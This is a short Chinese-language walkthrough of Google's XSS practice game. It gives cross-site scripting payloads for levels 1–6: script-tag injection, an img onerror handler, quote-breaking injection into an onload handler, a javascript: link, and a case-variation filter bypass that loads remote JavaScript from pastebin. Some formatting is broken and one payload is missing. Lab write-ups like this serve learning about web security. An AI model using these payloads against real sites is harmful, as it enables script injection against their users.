题目链接:https://xss-game.appspot.com
Level 1
level 1 比较简单,get方法传入的query参数会直接在b标签中输出。1
2payload
https://xss-game.appspot.com/level1/frame?query=<script>alert(1)</script>
Level 2
level 2 是一个留言板,输入的内容会发布在一个1
2
3```
payload
<img src='' onerror='alert(1)'>
Level 3
Level 3 中传入的参数带入到了img标签中的src里,那么这里可以闭合src再引入新的事件触发xss。
这里需要注意的是src是由双引号闭合的,但是传入双引号却无法闭合,传入单引号会闭合。
1 |
|
Level 4
这个题目中,传入的内容会被作为一个时间函数的参数,而这个函数是由img标签中onload事件触发的,那么思路便是将调用的函数闭合,再引入我们需要执行的代码。
onload中可以执行多条语句,中间以;分隔,注意这里我们传入的分号要进行url编码1
2payload
https://xss-game.appspot.com/level4/frame?timer=');alert('1
Level 5
这个题目中a标签中的href是用户可控的,href默认是解析url,但是我们可以指定为javascript执行。1
2payload
https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(1)
Level 6
这个题目可以使应用程序请求成为外部文件,调用远程js代码,虽然其过滤了https,但是没有考虑大写情况。
这里使用一个在线远程文件服务器。https://pastebin.com/1
2
3payload
https://xss-game.appspot.com/level6/frame#htTps://pastebin.com/raw/EuYL4VC8